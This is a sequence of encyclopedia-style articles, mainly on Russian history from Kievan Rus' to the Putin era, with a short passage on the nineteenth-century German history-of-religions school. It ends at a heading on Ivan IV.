          A political crisis came to a head in March when Yeltsin suddenly dismissed Prime Minister Viktor Chernomyrdin and his entire cabinet on March 23. Yeltsin named a virtually unknown technocrat, Energy Minister Sergei Kiriyenko, aged 35, as acting prime minister. Russian observers expressed doubts about Kiriyenko's youth and inexperience. The Duma rejected his nomination twice. Only after a month-long standoff, during which Yeltsin threatened to dissolve the legislature, did the Duma confirm Kiriyenko on a third vote on April 24.


          Kiriyenko appointed a new cabinet strongly committed to stemming the fall in value of Russia's currency. The oligarchs strongly supported Kiriyenko's efforts to maintain the exchange rate. A high exchange rate meant that they needed fewer rubles to buy imported goods, especially luxury items.


          In an effort to prop up the currency and stem the flight of capital, Kiriyenko hiked interest rates to 150% in order to attract buyers for government bonds. But concerns about the financial crisis in Asia and the slump in world oil prices were already prompting investors to withdraw from Russia. By mid-1998, it was clear Russia would need help from IMF to maintain its exchange rate.


          The Russian crisis caused alarm in the West. Pouring more money into the Russian economy would not be a long-term solution, but the U.S. in particular feared that Yeltsin's government would not survive a looming financial crisis without IMF help. U.S. President Bill Clinton's treasury secretary, Robert Rubin, also feared that a Russian collapse could create a panic on world money markets (and it indeed did help bring down one major US hedge fund Long Term Capital Management). The IMF approved a $22.6 billion emergency loan on July 13.


          Despite the bailout, Russia's monthly interest payments still well exceeded its monthly tax revenues. Realizing that this situation was unsustainable, investors continued to flee Russia despite the IMF bailout. Weeks later the financial crisis resumed and the value of the ruble resumed its fall, and the government fell into a self perpetuating trap. To pay off the interest on the loans it had taken, it needed to raise still more cash, which it did through foreign borrowing. As lenders became increasingly certain that the government could not make good on its obligations, they demanded ever-higher interest rates, deepening the trap. Ultimately the bubble burst.


          On August 17, Kiriyenko's government and the central bank were forced to suspend payment on Russia's foreign debt for 90 days, restructure the nation's entire debt, and devalue the ruble. The ruble went into free fall as Russians sought frantically to buy dollars. Western creditors lost heavily, and a large part of Russia's fledgling banking sector was destroyed, since many banks had substantial dollar borrowings. Foreign investment rushed out of the country, and financial crisis triggered an unprecedented flight of capital from Russia.


          


          Political fallout


          The financial collapse produced a political crisis, as Yeltsin, with his domestic support evaporating, had to contend with an emboldened opposition in the parliament. A week later, on August 23, Yeltsin fired Kiryenko and declared his intention of returning Chernomyrdin to office as the country slipped deeper into economic turmoil. Powerful business interests, fearing another round of reforms that might cause leading concerns to fail, welcomed Kiriyenko's fall, as did the Communists.


          Yeltsin, who began to lose his hold as his health deteriorated, wanted Chernomyrdin back, but the legislature refused to give its approval. After the Duma rejected Chernomyrdin's candidacy twice, Yeltsin, his power clearly on the wane, backed down. Instead, he nominated Foreign Minister Yevgeny Primakov, who on September 11 was overwhelmingly approved by the Duma.


          Primakov's appointment restored political stability because he was seen as a compromise candidate able to heal the rifts between Russia's quarreling interest groups. There was popular enthusiasm for Primakov as well. Primakov promised to make the payment of wage and pension arrears his governments first priority, and invited members of the leading parliamentary factions into his Cabinet.


          Communists and trade unionists staged a nationwide strike on October 7, and called on President Yeltsin to resign. On October 9, Russia, which was also suffering from a bad harvest, appealed for international humanitarian aid, including food.


          


          Recovery


          Russia bounced back from the August 1998 financial crash with surprising speed. Much of the reason for the recovery is that world oil prices rapidly rose during 19992000 (just as falling energy prices on the world market had deepened Russia's financial troubles), so that Russia ran a large trade surplus in 1999 and 2000. Another reason is that domestic industries such as food processing have benefited from the devaluation, which caused a steep increase in the prices of imported goods. Also, since Russia's economy was operating to such a large extent on barter and other non-monetary instruments of exchange, the financial collapse had far less of an impact on many producers than it would had the economy been dependent on a banking system. Finally, the economy has been helped by an infusion of cash; as enterprises were able to pay off arrears in back wages and taxes, it in turn allowed consumer demand for the goods and services of Russian industry to rise. For the first time in many years, unemployment in 2000 fell as enterprises added workers.


          Nevertheless, the political and social equilibrium of the country remains tenuous to this day, and power remains a highly personalized commodity. The economy remains vulnerable to downturn if, for instance, world oil prices fall at a dramatic pace.


          


          Succession crisis, 19992000


          Yevgeny Primakov did not remain in his post long. Yeltsin grew suspicious that Primakov was gaining in strength and popularity and dismissed him in May 1999, after only eight months in office. Yeltsin then named Sergei Stepashin, who had formerly been head of the FSB (the successor agency to the KGB) and later been Interior Minister, to replace him. The Duma confirmed his appointment on the first ballot by a wide margin.


          Stepashin's tenure was even shorter than Primakov's. In August 1999, Yeltsin once again abruptly dismissed the government and named Vladimir Putin as his candidate to head the new government. Like Stepashin, Putin had a background in the secret police, having made his career in the foreign intelligence service and later as head of the FSB. Yeltsin went so far as to declare that he saw Putin as his successor as president. The Duma narrowly voted to confirm Putin.


          When appointed, Putin was a relatively unknown politician, but he quickly established himself both in public opinion and in Yeltsin's estimation as a trusted head of government, largely due to the Second Chechen War. Just days after Yeltsin named Putin as a candidate for prime minister, Chechen forces engaged the Russian army in Dagestan, a Russian autonomy near Chechnya. In the next month, several hundred people died in apartment building bombings in Moscow and other cities, bombings Russian authorities attributed to Chechen rebels. In response, the Russian army entered Chechnya in late September 1999, starting the Second Chechen War. The Russian public at the time, angry over the terrorist bombings, widely supported the war. The support translated into growing popularity for Putin, who had taken decisive action in Chechnya.


          After the success of political forces close to Putin in the December 1999 parliamentary elections, Yeltsin evidentially felt confident enough in Putin that he resigned from the presidency on December 31, six months before his term was due to expire. This made Putin acting president and gave Putin ample opportunity to position himself as frontrunner for the Russian presidential election held on March 26, 2000, which he won. The Chechen War figured prominently in the campaign. In February 2000, Russian troops entered Grozny, the Chechen capital, and a week before the election, Putin flew to Chechnya on a fighter jet, claiming victory.
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          In August 2000, the Russian submarine K-141 Kursk suffered an explosion, causing the submarine to sink in the shallow area of the Barents Sea. Russia organized a vigorous but hectic attempt to save the crew, and the entire futile effort was surrounded by unexplained secrecy. This, as well as the slow initial reaction to the event and especially to the offers of foreign aid in saving the crew, brought much criticism on the government and personally on President Putin.


          On October 23, 2002, Chechen separatists took over a Moscow theatre. Over 700 people inside were taken hostage in what has been called the Moscow theatre hostage crisis. The separatists demanded the immediate withdrawal of Russian forces from Chechnya and threatened to blow up the building if authorities attempted to enter. Three days later, Russian commandos stormed the building after the hostages had been subdued with a sleeping gas, shooting the unconscious militants. In the aftermath of the theatre siege, Putin began renewed efforts to eliminate the Chechen insurrection. (For additional details on the war in Chechnya under Putin, see Second Chechen War.) The government canceled scheduled troop withdrawals, surrounded Chechen refugee camps with soldiers, and increased the frequency of assaults on separatist positions.


          Chechen militants responded in kind, stepping up guerrilla operations and rocket attacks on federal helicopters. Several high-profile attacks have taken place. In May 2004, Chechen separatists assassinated Akhmad Kadyrov, the pro-Russia Chechen leader who became the president of Chechnya 8 months earlier after an election conducted by Russian authorities. On August 24, 2004, two Russian aircraft were bombed. This was followed by the Beslan school hostage crisis in which Chechen separatists took 1,300 hostages. The initially high public support for the war in Chechnya has declined.


          Putin has confronted several very influential oligarchs ( Vladimir Gusinsky, Boris Berezovsky and Mikhail Khodorkovsky, in particular) who attained large stakes of state assets, allegedly through illegal schemes, during the privatization process. Gusinsky and Berezovsky have been forced to leave Russia and give up parts of their assets. Khodorkovsky is jailed in Russia and has lost his YUKOS company, formerly the largest oil producer in Russia. Putin's stand against oligarchs is generally popular with the Russian people, even though the jailing of Khodorkovsky is mainly seen as part of a takeover operation by government officials, according to another Levada-Centre poll.


          These confrontations have also lead to Putin establishing control over Russian media outlets previously owned by the oligarchs. In 2001 and 2002, TV channels NTV (previously owned by Gusinsky), TV6 and TVS (owned by Berezovsky) were all taken over by media groups loyal to Putin. Similar takeovers have also occurred with print media.


          Putin's popularity, which stems from his reputation as a strong leader, stands in contrast to the unpopularity of his predecessor, but it hinges on a continuation of economic recovery. Putin came into office at an ideal time: after the devaluation of the ruble in 1998, which boosted demand for domestic goods, and while world oil prices were rising. Indeed, during the seven years of his presidency, real GDP grew on average 6.7% a year, average income increased 11% annually in real terms, and a consistently positive balance of the federal budget enabled the government to cut 70% of the external debt (according to the Institute for Complex Strategic Studies). Thus, many credit him with the recovery, but his ability to withstand a sudden economic downturn has been untested. Putin won the Russian presidential election in 2004 without any significant competition.


          Some researchers assert that most Russians today have come to regret the collapse of the Soviet Union in 1991. On repeated occasions, even Vladimir PutinBoris Yeltsin's handpicked successor  stated that the fall of Soviet rule had led to few gains and many problems for most Russian citizens. In a campaign speech in February 2004, for example, Putin called the dismantlement of the Soviet Union a "national tragedy on an enormous scale," from which "only the elites and nationalists of the republics gained." He added, "I think that ordinary citizens of the former Soviet Union and the post-Soviet space gained nothing from this. On the contrary, people have faced a huge number of problems."


          Putin's international prestige suffered a major blow in the West during the disputed 2004 Ukrainian presidential election. Putin had twice visited Ukraine before the election to show his support for the pro-Russian Viktor Yanukovych against opposition leader Viktor Yushchenko, a pro-Western liberal economist. He congratulated Yanukovych, followed shortly afterwards by Belorussian president Alexander Lukashenko , on his victory before election results were even made official and made statements opposing the rerun of the disputed second round of elections, won by Yanukovych, amid allegations of large-scale voting fraud. The second round was ultimately rerun; Yushchenko won the round and was eventually declared the winner on January 10, 2005. In the West, the reaction to Russia's handling of, or perhaps interference in, the Ukrainian election evoked echoes of the Cold War, but relations with the U.S. have remained stable.


          In 2005, the Russian government replaced the broad in-kind Soviet-era benefits, such as free transportation and subsidies for heating and other utilities for socially vulnerable groups by cash payments. The reform, known as monetization, has been unpopular and caused a wave of demonstrations in various Russian cities, with thousands of retirees protesting against the loss of their benefits. This was the first time such wave of protests took place during the Putin administration. The reform has hurt the popularity of the Russian government, but Putin personally is still popular, with a 77% approval rating.


          


          Russia's relationship with the West


          In the early period after Russia became independent, Russian foreign policy repudiated Marxism-Leninism as a putative guide to action, emphasizing cooperation with the West in solving regional and global problems, and soliciting economic and humanitarian aid from the West in support of internal economic reforms.


          However, although Russia's leaders now described the West as its natural ally, they grappled with defining new relations with the East European states, the new states formed upon the disintegration of Yugoslavia, and Western Europe. Russia opposed the expansion of NATO into the former Soviet bloc nations of the Czech Republic, Poland, and Hungary in 1997 and, particularly, the second NATO expansion into Baltic states in 2004. In 1999, Russia opposed the NATO bombing of Yugoslavia for more than two months (see Kosovo War), but later joined NATO peace-keeping forces in the Balkans in June 1999.


          Relations with the West have also been stained by Russia's relationship with Belarus. Belarusian President Alexander Lukashenko, an authoritarian leader, has shown much interest in aligning his country with Russia, and no interest in deepening ties with the ever-expanding NATO or implementing Western-backed neoliberal economic reforms. A union agreement between Russia and Belarus was formed on April 2, 1996. The agreement was tightened, becoming the Union of Russia and Belarus on April 3, 1997. Further strengthening of the union occurred on December 25, 1998, and in 1999.


          Under Putin, Russia has sought to strengthen ties with the People's Republic of China by signing the Treaty of Good-Neighborliness and Friendly Cooperation as well building the Trans-Siberian oil pipeline geared toward growing Chinese energy needs. He also made a number of appearances in the media with President of the United States George W. Bush in which the two described each other as "friends".


          


          Change and continuity in post-Soviet Russian culture


          


          Inheritance from the USSR


          Contemporary Russian culture is rooted in the legacies of the Soviet regime and the thousand-year heritage of the Russian state. The Soviet Union, itself the heir of a Tsarist state that had gained control of the major part of the Eurasian landmass over hundreds of years, seemed profoundly resistant to change just shortly before its collapse. Beneath the official propaganda, however, interest in both pre-Soviet traditions and the ways of the West grew during the so-called "period of stagnation".


          Russia inherited from the Soviet Union a diverse cultural heritage. Throughout the Soviet Union, intellectuals, artists, and teachers preserved over a hundred different cultural legacies and national languages. Even in the most repressive years of Stalinism, private life survivedlasting to this dayformed through strong family and friendship links. So too did a legacy of the Tsarist era through the great classic works of pre-revolutionary literature and art that generations of Soviet schoolchildren and university students were taught to respect and study.


          The imperative of providing the Soviet regime with a powerful scientific and technological capacity also required the regime to accept a certain level of openness and outside influences: scientific and cultural exchanges of people and ideas kept open channels through which the diverse influences of the outside world and especially the West filtered in the Soviet Union. As the Communist regime's machinery for shaping public values and reinforcing CPSU-rule (youth groups, the mass media, and Party-run workplace education) grew increasingly ossified and ineffectual after Stalin's death, these internal and external cultural influences assumed an ever-greater importance in shaping Soviet politics, culture, and public opinion.


          As the old regime's system for shaping public values and beliefs was breaking down in the late 1980s and 1990s, non-communist ideologies such as liberal democracy, religious faith, and ethnic nationalism saw a revival. At the moment of collapse in 1991, a significant proportion of the population, likely the absolute majority, looked hopefully to the future. However, as the Utopian vision of a prosperous and peaceful democracy gave place to the troubled and insecure reality, many became nostalgic for the days of the old Soviet superpower.


          


          Post-Soviet realities


          


          The word best applied to post-Soviet Russian culture is eclectic. While coming to grips with, and in no way rejecting fully, the Soviet inheritance, Russians reached out to identify with their own pre-Soviet past and embraced, some would say indiscriminately, tendencies from the West.


          A very public debate has been waged about the nation's history. Revisionism has extended not merely to reappraisals of attitude, but to the chronological timeline itself (for example, the theories of Anatoly Fomenko). Nicholas the Bloody has become St. Nicholas the Martyr in various circles; Lenin would be buried by half the population; toponymy has achieved a balance between the Soviet and the Imperial past.


          But the present has had the greatest effect. Economic and political upheaval quickly made some of the formerly most respected or stable professions among the least desirable in material terms. Teachers worked for months without pay in some cases. Scientific workers lived on the poverty line or were thrown out of work when their research institutes were closed. The members of the artistic and cultural elites also had to learn to subsist with greatly diminished levels of support from the state. Some wilted, some emigrated, and some adapted.


          The Russian Orthodox Church has grown rapidly since 1991, as churches and monasteries have reopened and been restored, often by the work of their congregation. At the same time, Slavic neo-pagans have made their appearance. So too have foreign sects and other religions. Their proselytizing has been controversial, however, and has had to face roadblocks from the state and from some of the citizens. Still, though the holidays of Easter and Christmas have been reinstated (according to the Julian calendar), church attendance has grown substantially compared to Soviet era, and heretofore virtually nonexistent rituals such as church weddings have become common, most Russians have remained, if not confessed atheists, quite unobservant.


          The younger generation, especially, has embraced Western music and other types of pop culture. That and the growth of advertising has affected the Russian language, as many English words and constructions have become wildly fashionable. Drug abuse, which was kept tightly under wraps during the Soviet era, has come into the open with disastrous consequences. Today in Russia there are more than 3 million drug addicts. Heroin appears to be the drug of choice. Fueled by sharing needles by drug addicts, the AIDS epidemic is rampant - the number of HIV-positive people increased from less than 100 in 1989 to an estimated 1 million in 2003.


          While it took the publishing industry some time to switch from massive state orders to the consumer market, Russia remains a highly literate nation with considerable interest in literature. Crime fiction, romance novels, alternative history, and historical novels are popular and commercially successful. Conversely, poetry has declined.


          Spectator sports continued as a welcome diversion. Overwhelming successes at the Olympics and the great national ice hockey teams have become things of the past. Russian tennis players, on the other hand, have achieved highly profiled success.


          The attitude to the rest of the world has seen great perturbations. If in 1991 overall consensus toward the West was favorable indeed, it was quickly dimmed by the economic disruptions induced by the indiscriminate and corrupt privatizations. Many Russians perceived a continued distrust or even hostility from Europe and the United States. A sense of Russian political isolation was encouraged by overt political actions, especially NATO's 1999 bombing of Serbia over Kosovo.


          Thus a split became all too apparent. Many Russians, especially of the older generation, came to see the so-called "era of stagnation" under Brezhnev as a kind of stable golden age. A few, more visible than strong in numbers, placed their aspirations on Stalin. Letters in newspapers and the occasional leading article made it clear that by 2003, at a moment of relative stability, many felt like immigrants in their own country. Russians who prospered or survived under the changed conditions often mocked the nostalgia. In the end, however, neither age nor material conditions fully determined the outlook.


          The strongest continuation in Russian outlook from the later Soviet period is that most citizens do not in any sense identify their culture with their government, or (to a somewhat lesser extent) with political ideology. Among the most controversial breaks with the past, if the tendency does not prove temporary, may be a post-imperial national awareness that places greater emphasis on ethnic belonging. Personal hostility from ethnic Russians to the so-called "national minorities" is widespread, assisted by demographics and based on perception of internal and international politics, appears to be considerably stronger than in the Soviet period.


          Overall, the official line today is a neutral acknowledgement of all phases of Russian history and culture. Underneath the circles of power, Russians are divided, as in ages past, between the "Westernizers" and the "Slavophiles" or "Eurasians", though it is too early either to speak of these tendencies as formal movements or to predict which one will prevail. At present, a kind of dynamic equilibrium appears to have been achieved after the chaos of the first post-Soviet years, but its permanence remains to be seen.
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          The History of religions (Religiongeschichteschule, school of religious history) was a 19th century German school of thought which was the first to systematically study religion as a socio-cultural phenomenon. It depicted religion as evolving with human culture, from primitive polytheism to ethical monotheism, a view that is now considered ethnocentric.


          Religiongeschichteschule appeared at a time when scholarly study of the Bible and church history was flourishing in Germany and elsewhere (see Higher criticism, Historical-critical method).


          


          Introduction


          The nineteenth century saw a dramatic increase in knowledge about other cultures and religions, and also the establishment of economic and social histories of progress. The "history of religions" school sought to account for this religious diversity by connecting it with the social and economic situation of a particular group.


          Typically religions are divided into stages of progression from more simple to more complex societies, especially from polytheistic to monotheistic and from extempore to organised. (There are now claims "that religion evolved from polytheism to monotheism has now been discredited" p. 1763 Man, Myth and Magic 1995)


          Thus, the starting point is the tribal band whose religion is animistic and involves shamans and totems. Since the group is tribal, there is no permanent sanctuary. Cultic rites centre on identification with wild animals and appeasing spirits, often of the hunted.


          As society developed into chiefdoms and small kingdoms, religious rites began to serve different functions. Agriculture became important and so fertility gods were introduced (often female, as it is the woman who has the power to produce life). The status of the "big man" (or chief) was supported with mythic tales of heroes and demigods, from whom he may be descended.


          When these small kingdoms merged into larger groups (often through conquest), different cults merged. The conquest of one group by another is therefore recorded in an epic tale of the conquest of the conquered group's god by the victor's (e.g. some Hinduism and the Babylonian Marduk). Another solution was to syncretise different religious traditions, for example, the Romans' identification of their Gods with the Greeks and the Greeks' adoption of Anatolian myths and characters.


          Finally, the growth of the city state brought about progression to the most "civilised" level of religion, ethical monotheism. Students of the history of religions often learnt that this began in Egypt with Akhnaten and grew through 7th century BC Judaism, Persian Zoroastrianism and Greek Philosophy to endow Western society with the most progressive form of religion. The historical basis of this  that religion moved from polytheism to ethical monotheism  is now doubted, as is the ethnocentrism that made Western society the most civilised.


          Nevertheless, it is still widely held that ethical monotheism (e.g. Judaism, Christianity, Islam, some forms of Hinduism and Buddhism) was encouraged by the growth of city states. This was partly due to the role of a hierarchical society with a god-like absolute ruler. A more powerful social force was the isolation of the individual as he moved from the clan to a more cosmopolitan lifestyle. Questions of justice and value that had been previously answered by the family and small tribe were now to be pursued independently. The relative anonymity of the city afforded the opportunity for not only "sin" but also loneliness. Ethical monotheism answered society's need for a moral guide and motivation, whilst a unique personal God who was sovereign over all areas of life answered people's feelings of isolation and powerlessness.


          Good examples of this are the prophetic literature of the Jewish Tanakh (Old Testament), especially Isaiah, and the wisdom literature of the ancient near east dealing with apparently unjustified suffering. This includes Job, in the Judaeo-Christian Bible, and " The Dialogue of Pessimism", a Babylonian text.
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          The history of Russia begins with that of the East Slavs. The first East Slavic state, Kievan Rus', adopted Christianity from the Byzantine Empire in 988, beginning the synthesis of Byzantine and Slavic cultures that defined Russian culture for the next millennium. Kievan Rus' ultimately disintegrated as a state, finally succumbing to Mongol invaders in the 1230s. During this time a number of regional magnates, in particular Novgorod and Pskov, fought to inherit the cultural and political legacy of Kievan Rus'.


          After the 13th century, Moscow gradually came to dominate the former cultural centre. By the 18th century, the Grand Duchy of Moscow had become the huge Russian Empire, stretching from Poland eastward to the Pacific Ocean. Expansion in the western direction sharpened Russia's awareness of its separation from much of the rest of Europe and shattered the isolation in which the initial stages of expansion had occurred. Successive regimes of the 19th century responded to such pressures with a combination of halfhearted reform and repression. Russian serfdom was abolished in 1861, but its abolition was achieved on terms unfavorable to the peasants and served to increase revolutionary pressures. Between the abolition of serfdom and the beginning of World War I in 1914, the Stolypin reforms, the constitution of 1906 and State Duma introduced notable changes to the economy and politics of Russia, but the tsars were still not willing to relinquish autocratic rule, or share their power.


          The Russian Revolution in 1917 was triggered by a combination of economic breakdown, war weariness, and discontent with the autocratic system of government, and it first brought a coalition of liberals and moderate socialists to power, but their failed policies led to seizure of power by the Communist Bolsheviks on October 25. Between 1922 and 1991, the history of Russia is essentially the history of the Soviet Union, effectively an ideologically based empire which was roughly coterminous with Russia before the Treaty of Brest-Litovsk. The approach to the building of socialism, however, varied over different periods in Soviet history, from the mixed economy and diverse society and culture of the 1920s to the command economy and repressions of the Stalin era to the "era of stagnation" in the 1980s. From its first years, government in the Soviet Union was based on the one-party rule of the Communists, as the Bolsheviks called themselves, beginning in March 1918. However, by the late 1980s, with the weaknesses of its economic and political structures becoming acute, the Communist leaders embarked on major reforms, which led to the collapse of the Soviet Union.


          The history of the Russian Federation is brief, dating back only to the collapse of the Soviet Union in late 1991. Since gaining its independence, Russia was recognized as the legal successor to the Soviet Union on the international stage. However, Russia has lost its superpower status as it faced serious challenges in its efforts to forge a new post-Soviet political and economic system. Scrapping the socialist central planning and state ownership of property of the Soviet era, Russia attempted to build an economy with elements of market capitalism, with often painful results. Even today Russia shares many continuities of political culture and social structure with its tsarist and Soviet past.


          


          Early history
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          Pre-Slavic inhabitants


          In prehistoric times, the vast steppes of Southern Russia were home to disunited tribes of nomadic pastoralists. In classical antiquity, the Pontic Steppe was known as Scythia. Remnants of these long-gone steppe civilizations were discovered in the course of the 20th century in such places as Ipatovo, Sintashta, Arkaim, and Pazyryk. In the latter part of the eighth century BC, Greek merchants brought classical civilization to the trade emporiums in Tanais and Phanagoria. Between the third and sixth centuries AD, the Bosporan Kingdom, a Hellenistic polity which succeeded the Greek colonies, was overwhelmed by successive waves of nomadic invasions, led by warlike tribes which would often move on to Europe, as was the case with the Huns and Turkish Avars. A Turkic people, the Khazars, ruled the lower Volga basin steppes between the Caspian and Black Seas through to the 8th century. Noted for their laws, tolerance, and cosmopolitanism, the Khazars were the main commercial link between the Baltic and the Muslim Abbasid empire centered in Baghdad. They were important allies of the Byzantine Empire, and waged a series of successful wars against the Arab Caliphates. In the 8th century, the Khazars embraced Judaism.
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          Early East Slavs


          The ancestors of the Russians were the Slavic tribes, whose original home is thought by some scholars to have been the wooded areas of the Pripet Marshes. The Early East Slavs gradually settled Western Russia in two waves: one moving from Kiev toward present-day Suzdal and Murom and another from Polotsk toward Novgorod and Rostov. From the 7th century onwards, the East Slavs constituted the bulk of the population in Western Russia and slowly but peacefully assimilated the native Finno-Ugric tribes, such as the Merya, the Muromians, and the Meshchera.


          


          Kievan Rus'
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          Scandinavian Norsemen, called "Vikings" in Western Europe and " Varangians" in the East, combined piracy and trade in their roamings over much of Northern Europe. In the mid-9th century, they began to venture along the waterways from the eastern Baltic to the Black and Caspian Seas. According to the earliest Russian chronicle, a Varangian named Rurik was elected ruler ( konung or knyaz) of Novgorod in about 860, before his successors moved south and extended their authority to Kiev, which had been previously dominated by the Khazars.


          Thus, the first East Slavic state, Kievan Rus', emerged in the 9th century along the Dnieper River valley. A coordinated group of princely states with a common interest in maintaining trade along the river routes, Kievan Rus' controlled the trade route for furs, wax, and slaves between Scandinavia and the Byzantine Empire along the Volkhov and Dnieper Rivers.


          The name "Russia," together with the Finnish Ruotsi and Estonian Rootsi, are found by some scholars to be related to Roslagen. The etymology of Rus and its derivatives are debated, and other schools of thought connect the name with Slavic or Iranic roots.


          By the end of the 10th century, the Norse minority had merged with the Slavic population, which also absorbed Greek Christian influences in the course of the multiple campaigns to loot Tsargrad, or Constantinople. One such campaign claimed the life of the foremost Slavic druzhina leader, Svyatoslav I, who was renowned for having crushed the power of the Khazars on the Volga. While the fortunes of the Byzantine Empire had been ebbing, its culture was a continuous influence on the development of Russia in its formative centuries.


          Kievan Rus' is important for its introduction of a Slavic variant of the Eastern Orthodox religion, dramatically deepening a synthesis of Byzantine and Slavic cultures that defined Russian culture for the next thousand years. The region adopted Christianity in 988 by the official act of public baptism of Kiev inhabitants by Prince Vladimir I. Some years later the first code of laws, Russkaya Pravda, was introduced. From the onset the Kievan princes followed the Byzantine example and kept the Church dependent on them, even for its revenues, so that the Russian Church and state were always closely linked.


          By the 11th century, particularly during the reign of Yaroslav the Wise, Kievan Rus' could boast an economy and achievements in architecture and literature superior to those that then existed in the western part of the continent. Compared with the languages of European Christendom, the Russian language was little influenced by the Greek and Latin of early Christian writings. This was due to the fact that Church Slavonic was used directly in liturgy instead.


          A nomadic Turkic people, the Kipchaks (also known as the Cumans), replaced the earlier Pechenegs as the dominant force in the south steppe regions neighbouring to Rus' at the end of 11th century and founded a nomadic state in the steppes along the Black Sea (Desht-e-Kipchak). Repelling their regular attacks, especially on Kiev, which was just one day's ride from the steppe, was a heavy burden for the southern areas of Rus'. The nomadic incursions caused a massive influx of Slavs to the safer, heavily forested regions of the north, particularly to the area known as Zalesye.


          Kievan Rus' ultimately disintegrated as a state because of in-fighting between members of the princely family that ruled it collectively. Kiev's dominance waned, to the benefit of Vladimir-Suzdal in the north-east, Novgorod in the north, and Halych-Volhynia in the south-west. Conquest by the Mongol Golden Horde in the 13th century was the final blow. Kiev was destroyed. Halych-Volhynia would eventually be absorbed into the Polish-Lithuanian Commonwealth, while the Mongol-dominated Vladimir-Suzdal and independent Novgorod Republic, two regions on the periphery of Kiev, would establish the basis for the modern Russian nation.


          


          Mongol invasion
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          The invading Mongols accelerated the fragmentation of the Rus'. In 1223, the disunited southern princes faced a Mongol raiding party at the Kalka River and were soundly defeated. In 1237-1238 the Mongols burnt down the city of Vladimir (February 4, 1238) and other major cities of northeast Russia, routed the Russians at the Sit' River, and then moved west into Poland and Hungary. By then they had conquered most of the Russian principalities. Only the Novgorod Republic escaped occupation and continued to flourish in the orbit of the Hanseatic League.


          The impact of the Mongol invasion on the territories of Kievan Rus' was uneven. The advanced city culture was almost completely destroyed. As older centers such as Kiev and Vladimir never recovered from the devastation of the initial attack, the new cities of Moscow, Tver and Nizhny Novgorod began to compete for hegemony in the Mongol-dominated Russia. Although a Russian army defeated the Golden Horde at Kulikovo in 1380, mongol domination of the Russian-inhabited territories, along with demands of tribute from Russian princes, continued until about 1480.


          


          Russo-Tatar relations
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          After the fall of the Khazars in the 10th century, the middle Volga came to be dominated by the mercantile state of Volga Bulgaria, the last vestige of Greater Bulgaria centered at Phanagoria. In the 10th century the Turkic population of Volga Bulgaria converted to Islam, which facilitated its trade with the Middle East and Central Asia. In the wake of the Mongol invasions of the 1230s, Volga Bulgaria was absorbed by the Golden Horde and its population evolved into the modern Chuvashes and Kazan Tatars.


          The Mongols held Russia and Volga Bulgaria in sway from their western capital at Sarai, one of the largest cities of the medieval world. The princes of southern and eastern Russia had to pay tribute to the Mongols of the Golden Horde, commonly called Tatars; but in return they received charters authorizing them to act as deputies to the khans. In general, the princes were allowed considerable freedom to rule as they wished, while the Russian Orthodox Church even experienced a spiritual revival under the guidance of Metropolitan Alexis and Sergius of Radonezh.


          To the Orthodox Church and most princes, the fanatical Northern Crusaders seemed a greater threat to the Russian way of life than the Mongols. In the mid-13th century, Alexander Nevsky, elected prince of Novgorod, acquired heroic status as the result of major victories over the Teutonic Knights and the Swedes. Alexander obtained Mongol protection and assistance in fighting invaders from the west who, hoping to profit from the Russian collapse since the Mongol invasions, tried to grab territory and convert the Russians to Roman Catholicism.


          The Mongols left their impact on the Russians in such areas as military tactics and transportation. Under Mongol occupation, Russia also developed its postal road network, census, fiscal system, and military organization. Eastern influence remained strong well until the 17th century, when Russian rulers made a conscious effort to Westernize their country. In popular memory, this period left a very unpleasant impression, and is referred to as the Tataro-Mongol Yoke.


          


          Grand Duchy of Moscow


          


          The rise of Moscow
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          Daniil Aleksandrovich, the youngest son of Alexander Nevsky, founded the principality of Moscow (known in the western tradition as Muscovy), which eventually expelled the Tatars from Russia. Well-situated in the central river system of Russia and surrounded by protective forests and marshes, Moscow was at first only a vassal of Vladimir, but soon it absorbed its parent state. A major factor in the ascendancy of Moscow was the cooperation of its rulers with the Mongol overlords, who granted them the title of Grand Prince of Moscow and made them agents for collecting the Tatar tribute from the Russian principalities. The principality's prestige was further enhanced when it became the centre of the Russian Orthodox Church. Its head, the Metropolitan, fled from Kiev to Vladimir in 1299 and a few years later established the permanent headquarters of the Church in Moscow under the original title of Kiev Metropolitan.


          By the middle of the 14th century, the power of the Mongols was declining, and the Grand Princes felt able to openly oppose the Mongol yoke. In 1380, at Kulikovo on the Don River, the Mongols were defeated, and although this hard-fought victory did not end Tatar rule of Russia, it did bring great fame to the Grand Prince. Moscow's leadership in Russia was now firmly based and by the middle of the fourteenth century its territory had greatly expanded through purchase, war, and marriage.


          


          Ivan III, the Great
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          In the 15th century, the grand princes of Moscow went on gathering Russian lands to increase the population and wealth under their rule. The most successful practitioner of this process was Ivan III, the Great (14621505), who laid the foundations for a Russian national state. Ivan competed with his powerful northwestern rival, the Grand Duchy of Lithuania, for control over some of the semi-independent Upper Principalities in the upper Dnieper and Oka River basins. Through the defections of some princes, border skirmishes, and a long war with the Novgorod Republic, Ivan III was able to annex Novgorod and Tver. As a result, the Grand Duchy of Moscow tripled in size under his rule. During his conflict with Pskov, a monk named Filofei (Philotheus of Pskov) composed a letter to Ivan III, with the prophecy that the latter's kingdom will be the Third Rome. The Fall of Constantinople and the death of the last Greek Orthodox Christian emperor contributed to this new idea of Moscow as 'New Rome' and the seat of Orthodox Christianity.
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          A contemporary of the Tudors and other "new monarchs" in Western Europe, Ivan proclaimed his absolute sovereignty over all Russian princes and nobles. Refusing further tribute to the Tatars, Ivan initiated a series of attacks that opened the way for the complete defeat of the declining Golden Horde, now divided into several khanates and hordes. Ivan and his successors sought to protect the southern boundaries of their domain against attacks of the Crimean Tatars and other hordes. To achieve this aim, they sponsored the construction of the Great Abatis Belt and granted manors to nobles, who were obliged to serve in the military. The manor system provided a basis for an emerging horse army.


          In this way, internal consolidation accompanied outward expansion of the state. By the 16th century, the rulers of Moscow considered the entire Russian territory their collective property. Various semi-independent princes still claimed specific territories, but Ivan III forced the lesser princes to acknowledge the grand prince of Moscow and his descendants as unquestioned rulers with control over military, judicial, and foreign affairs. Gradually, the Russian ruler emerged as a powerful, autocratic ruler, a tsar. The first Russian ruler to officially crown himself " Tsar" was Ivan IV.


          


          Tsardom of Russia
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          Ivan IV, the Terrible


